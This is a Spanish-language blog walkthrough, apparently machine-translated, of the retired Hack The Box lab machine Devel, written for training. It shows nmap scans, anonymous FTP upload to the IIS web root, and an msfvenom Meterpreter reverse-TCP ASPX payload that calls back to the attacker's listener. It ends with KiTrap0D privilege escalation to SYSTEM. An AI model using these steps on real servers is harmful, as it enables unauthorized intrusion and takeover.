Mantenga la calma y piratee la caja - Devel

Hack The Box (HTB) es una plataforma en línea que le permite probar sus habilidades de prueba de penetración. Contiene varios desafíos que se actualizan constantemente. Algunos de ellos simulan escenarios del mundo real y otros se inclinan más hacia un estilo de desafío CTF.

Nota . Solo se permiten redacciones de máquinas HTB retiradas.

Devel se describe como un cuadro relativamente simple que demuestra los riesgos de seguridad asociados con algunas configuraciones de programa predeterminadas. Es una máquina de nivel principiante que se puede completar utilizando exploits disponibles públicamente.

Usaremos las siguientes herramientas para empeñar la caja en una caja Kali Linux

  • nmap
  • mapa zen
  • búsqueda
  • metasploit
  • msfvenom

Paso 1: escanear la red

El primer paso antes de explotar una máquina es hacer un poco de escaneo y reconocimiento.

Esta es una de las partes más importantes, ya que determinará qué puede intentar explotar después. Siempre es mejor dedicar más tiempo a esa fase para obtener la mayor cantidad de información posible.

Voy a utilizar Nmap (Red Mapper), que es una utilidad gratuita y de código abierto para la detección de redes y auditoría de seguridad. Utiliza paquetes IP sin procesar para determinar qué hosts están disponibles en la red, qué servicios ofrecen esos hosts, qué sistemas operativos están ejecutando, qué tipo de filtros de paquetes / firewalls están en uso y docenas de otras características.

Hay muchos comandos que puede usar con esta herramienta para escanear la red. Si desea obtener más información al respecto, puede consultar la documentación aquí.

Utilizo el siguiente comando para tener una idea básica de lo que estamos escaneando

nmap -sV -O -F --version-light 10.10.10.5

-sV: Sonda los puertos abiertos para determinar la información de servicio / versión

-O: habilita la detección del sistema operativo

-F: Modo rápido : escanea menos puertos que el escaneo predeterminado

--version-light: límite a las sondas más probables (intensidad 2)

10.10.10. 5 : dirección IP de la caja de desarrollo

También puede utilizar Zenmap , que es la GUI oficial de Nmap Security Scanner. Es una aplicación multiplataforma, gratuita y de código abierto que tiene como objetivo hacer que Nmap sea fácil de usar para los principiantes al tiempo que proporciona funciones avanzadas para los usuarios experimentados de Nmap.

Utilizo un conjunto diferente de comandos para realizar un escaneo intensivo

nmap -A -v 10.10.10.5

-A: habilita la detección del sistema operativo, la detección de versiones, el escaneo de scripts y el rastreo de ruta

-v: aumenta el nivel de verbosidad

10.10.10.5: dirección IP del cuadro de desarrollo

Si encuentra los resultados un poco abrumadores, puede pasar a la pestaña Puertos / Hosts para obtener solo los puertos abiertos.

Podemos ver que hay 2 puertos abiertos:

Puerto 21 . Control (comando) del Protocolo de transferencia de archivos (FTP). Aquí es un FTP de Microsoft

Puerto 80 . Protocolo de transferencia de hipertexto (HTTP). Aquí es un servidor IIS

El vector de ataque inicial más probable parece ser el FTP en este caso

Paso 2: el FTP vulnerable

Abrimos Firefox y visitamos el sitio web en //10.10.10.5

Desde la fase de reconocimiento, encontramos 2 archivos bajo el FTP de Microsoft. Veamos si podemos acceder a ellos desde el navegador.

Puedo acceder al archivo de imagen welcome.png visitando

//10.10.10.5/welcome.png

También puedo acceder a la página iisstart.htm

//10.10.10.5/iisstart.htm

Ahora sabemos dos cosas:

  • El FTP se utiliza como un directorio de archivos para el servidor web, que se descubre cuando accedemos a los archivos desde la fase de reconocimiento.
  • El FTP permite el inicio de sesión anónimo, que se descubre cuando realizamos un análisis intenso.

Veamos si podemos crear un archivo y agregarlo al FTP

Creo un archivo usando este comando y envío el resultado a un archivo llamado htb.html

echo HackTheBox > htb.html

Luego verifico con ls si el archivo se ha creado y cuál es el contenido del archivo con este comando

cat htb.html

Ahora conectemos al FTP para agregar nuestro archivo de prueba

Para conectarme al FTP, uso este comando

ftp 10.10.10.5

Escribo anónimo como nombre de usuario y simplemente presiono enter para la contraseña, ya que permite el inicio de sesión anónimo.

Ahora estoy conectado al FTP.

Agrego el archivo en el FTP con este comando

put htb.html

El archivo se ha enviado correctamente. Comprobemos si podemos acceder a él desde Firefox. Visito la página y podemos ver la salida HackTheBox en la página web.

//10.10.10.5/htb.html

Ahora que sabemos que podemos enviar archivos, ¡creemos un exploit!

Paso 3: usar MSFvenom para crear un exploit

Usaremos MSFvenom, que es un generador de carga útil. Puedes aprender más acerca de esto aquí

Pero primero, verifiquemos en Metasploit Framework qué carga útil necesitaremos para diseñar nuestro exploit.

Sabemos que necesitamos crear un shell inverso , que es un tipo de shell en el que la máquina objetivo se comunica con la máquina atacante. La máquina atacante tiene un puerto de escucha en el que recibe la conexión, que mediante el uso de código o ejecución de comandos se logra.

El shell de TCP inverso debería ser para Windows y usaremos Meterpreter .

Del sitio web de Offensive Security, obtenemos esta definición de Meterpreter

Meterpreter es una carga útil avanzada y extensible dinámicamente que utiliza etapas de inyección de DLL en memoria y se extiende a través de la red en tiempo de ejecución. Se comunica a través del zócalo del stager y proporciona una API Ruby completa del lado del cliente. Cuenta con historial de comandos, finalización de pestañas, canales y más.

Puede leer más sobre Meterpreter aquí.

Lanzo Metasploit y la búsqueda de cargas útiles TCP inversa. Yo uso el siguiente comando

search windows/meterpreter/reverse_tcp

Encontramos una carga útil interesante, la número 2, que es un Reverse TCP Stager .Esta carga útil inyecta la DLL del servidor meterpreter a través de la carga útil Reflective Dll Injection y se conecta de nuevo al atacante

payload/windows/meterpreter/reverse_tcp

Ahora volvamos a msfvenom para diseñar nuestro exploit. Y más específicamente un shell inverso aspx . Esta información se ha recopilado durante la fase de reconocimiento.

Yo uso el siguiente comando

msfvenom -p windows/meterpreter/reverse_tcp -f aspx -o devel.aspx LHOST=10.10.14.15 LPORT=4444

- p : Carga útil a utilizar

- f : formato de salida

- 0 : guarda la carga útil en un archivo

LHOST : anfitrión local

LPORT : puerto local

Luego verifico con ls si se ha creado el archivo. Es hora de enviarlo al FTP

¡Volvamos a conectarnos al FTP y enviemos nuestro pequeño regalo!

Me conecto al FTP, ingreso anónimo como nombre de usuario, omito la contraseña presionando enter. Luego envío el archivo con el siguiente comando

put devel.aspx

Comprobemos si el archivo se ha enviado correctamente. Volviendo a Firefox , navego al servidor FTP con el siguiente comando

ftp://10.10.10.5

¡Podemos ver que nuestro pequeño regalo está aquí!

Aquí está el exploit, si tienes curiosidad por saber cómo se ve

Paso 4: configurar un oyente con Metasploit

De vuelta en Metasploit, donde uso el siguiente comando para configurar el controlador de carga útil

use exploit/multi/handler

Reviso para ver qué opciones están disponibles

Primero configuramos la carga útil

set payload windows/meterpreter/reverse_tcp

Entonces el LHOST

set lhost 10.10.14.15

Y finalmente el LPORT

set lport 4444

Si comprobamos las opciones ahora, deberíamos ver que todo está configurado

Ejecutemos el exploit.

Después de que aparezca este mensaje

Started reverse TCP handler on 10.10.14.15:4444

Vuelva al navegador y acceda a la página donde está alojado el script malicioso.

//10.10.10.5/devel.aspx

A continuación, debería ver una sesión de Meterpreter creada

Ahora que tengo una sesión, trato de buscar la primera bandera, user.txt usando el siguiente comando en meterpreter

search -f user.txt

Ningún archivo coincide con mi búsqueda. Intento con. * Para ver otros archivos, pero nada útil

Luego creo un shell con el siguiente comando

shell

Utilizo el siguiente comando para obtener la información del sistema

systeminfo

Podemos ver que el propietario registrado se llama babis . Esta podría ser una información importante cuando busquemos la bandera del usuario. También podemos ver que la máquina no tiene revisiones.

Empiezo a navegar por las carpetas. Utilizo dir para enumerar todos los archivos / carpetas y cd para cambiar de directorio. Probé suerte en las carpetas babis y Administrator , pero ambas me dieron acceso denegado.

¡Necesitamos aumentar los privilegios! Sabiendo que cuando verificamos la información del sistema, no se encontraron revisiones, podemos intentar encontrar exploits aplicables a esta máquina.

Paso 5: Realización de escalamiento de privilegios

Pongo la sesión en segundo plano con este comando

background

Luego uso el siguiente comando

use post/multi/recon/local_exploit_suggester

Este módulo sugiere exploits locales de Meterpreter que se pueden utilizar. Los exploits se sugieren en función de la arquitectura y la plataforma en la que el usuario tiene un shell abierto, así como los exploits disponibles en Meterpreter.

Verifico las opciones y configuro la sesión

Es importante tener en cuenta que no se activarán todos los exploits locales. Los exploits se eligen en función de estas condiciones: tipo de sesión, plataforma, arquitectura y opciones predeterminadas requeridas

Bajando la lista

exploit/windows/local/bypassuac_eventvwr

falla debido a que el usuario de IIS no forma parte del grupo de administradores, que es el predeterminado y esperado.

Utilizo el siguiente exploit de la lista, que es

use exploit/windows/local/ms10_015_kitrap0d

Este módulo creará una nueva sesión con privilegios de SISTEMA a través del exploit KiTrap0D de Tavis Ormandy. Si la sesión en uso ya está elevada, el exploit no se ejecutará. El módulo se basa en kitrap0d.x86.dll y no es compatible con las ediciones x64 de Windows.

Cuando ejecutamos sysinfo en la sesión de Meterpreter, reveló que el objetivo era la arquitectura x86

Verifico las opciones y luego configuro la sesión

Ejecuto el exploit.

El exploit tuvo éxito, pero no se pudo crear la sesión. Esto se debe a que la primera línea del exploit intenta configurar un controlador inverso en el eth0 predeterminado y el puerto predeterminado, y no en la interfaz VPN para laboratorios HTB.

Started reverse TCP handler on 10.0.2.15:4444

Verifico las opciones y configuro LHOST y LPORT

Luego verifico todas las sesiones vivas con el siguiente comando, en caso de que mi sesión muriera

sessions -l

Puedo ver mi sesión

Ahora que tenemos una sesión de meterpreter, ¡comencemos a navegar por la carpeta y encontrar las banderas!

Paso 6: buscar el indicador user.txt

Primero verifiquemos dónde estamos con el siguiente comando

pwd

que significa directorio de trabajo de impresión

Me acerco a C: \ y ls todos los archivos / carpetas. Ya sé dónde buscar desde mi intento anterior en el Paso 4: Configuración de un oyente con Metasploit

Vuelvo al directorio de Usuarios

Luego muévase al directorio babis

Desde allí, voy al directorio de escritorio

¡Encontramos el archivo user.txt.txt ! Para leer el contenido del archivo utilizo el comando

cat user.txt.txt

Ahora que tenemos el indicador de usuario, ¡busquemos el indicador raíz!

Paso 7: buscar la marca root.txt

Volviendo a C: \ para navegar a la carpeta Administrador y luego a la carpeta Escritorio . Utilizo ls para enumerar todos los archivos en la carpeta del escritorio

¡Encontramos el archivo root.txt.txt !

Para leer el contenido del archivo utilizo el comando

cat root.txt.txt

¡Felicidades! ¡Encontraste ambas banderas!

No dudes en comentar, hacer preguntas o compartir con tus amigos :)

Puedes ver más de mis artículos aquí.

Puedes seguirme en Twitter o en LinkedIn

¡Y no olvides # GetSecure , # BeSecure & # StaySecure !

Otros artículos de Hack The Box

  • Keep Calm and Hack The Box - Lame
  • Mantenga la calma y piratee la caja - Legacy
  • Mantenga la calma y piratee la caja - Beep